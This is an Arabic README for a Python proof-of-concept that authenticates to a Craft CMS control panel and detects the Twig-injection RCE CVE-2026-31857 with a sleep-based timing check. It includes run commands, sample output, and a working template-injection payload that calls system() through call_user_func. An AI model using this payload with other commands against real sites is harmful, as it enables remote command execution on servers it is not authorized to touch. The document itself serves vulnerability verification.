
أداة إثبات مفهوم بلغة Python تُصادِق على لوحة تحكم Craft CMS وتتحقق من ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر حقن Twig المسجّلة باسم CVE-2026-31857 بطريقة غير مُدمِّرة باستخدام فحص توقيت قائم على الإيقاف المؤقت (sleep).
إثبات مفهوم صغير وعام وغير مدمّر لـ CVE-2026-31857 في Craft CMS.
توجد الثغرة في معالجة الشروط العلائقية في Craft CMS. يمكن لمستخدم لوحة التحكم توفير قيمة elementIds تصل إلى مُصيّر قوالب كائنات غير معزول (unsandboxed). في الإصدارات المصابة، قد يؤدي ذلك إلى تقييم Twig من جانب الخادم وتنفيذ أوامر.
يقوم إثبات المفهوم هذا عمدًا بإجراء تحقق قائم على التوقيت فقط عبر طلب sleep N. وهو لا يفتح صدفة (shell)، ولا يكتب ملفات، ولا يعيد مخرجات أوامر عشوائية.
وفقًا لإرشاد Craft CMS الأمني:
>= 5.0.0-RC1 و <= 5.9.8>= 4.0.0-beta.1 و <= 4.17.3تم الإصلاح في:
5.9.94.17.4تحقق دائمًا من إرشاد المورّد ومعلومات الحزم التابعة قبل استنتاج أن بناءً معبّأ (packaged build) مصاب.
تثبيت التبعيات:
python3 -m pip install -r requirements.txt
python3 poc.py \
--target https://craft.example \
--username editor \
--password 'ExamplePassword'
لمُشغِّل لوحة تحكم غير افتراضي:
python3 poc.py \
-t https://craft.example \
-u editor \
-p 'ExamplePassword' \
--cp-trigger control
لمختبر مُصرّح به يستخدم شهادة موقّعة ذاتيًا:
python3 poc.py \
-t https://craft.example \
-u editor \
-p 'ExamplePassword' \
--insecure
مثال على المخرجات في نسخة قابلة للاستغلال:
[*] Fetching Craft control panel...
[+] Authenticated successfully.
[*] Action endpoint: https://craft.example/admin/actions/element-indexes/get-elements
[*] Baseline: HTTP 200, 0.184s
[*] Timing payload: HTTP 200, 4.207s
[+] Likely vulnerable to CVE-2026-31857 (timing delta: 4.023s).
يقوم أداة التحقق بما يلي:
users/login.RelatedToConditionRule.elementIds:{{ ['system','sleep 4'] | sort('call_user_func') }}
المسار المصاب ذو الصلة هو من حيث المفهوم:
RelatedToConditionRule
-> BaseElementSelectConditionRule::getElementIds()
-> renderObjectTemplate()
-> unsandboxed Twig evaluation
يغيّر إصلاح المورّد مسار التصيير المتأثر ليستخدم مُصيّر قوالب الكائنات المعزول (sandboxed).
sleep.actionUrl الخاصة بـ Craft نفسها، وإلا فإنه يتراجع إلى توجيه الإجراء عبر سلسلة الاستعلام.GHSA-fp5j-j7j4-mcxcCVE-2026-318578d4903647dcfd31b8d40ed027e27082013347a80استخدم هذا الكود فقط على الأنظمة التي تملكها أو التي لديك تفويض صريح لإجراء اختبارات أمنية عليها.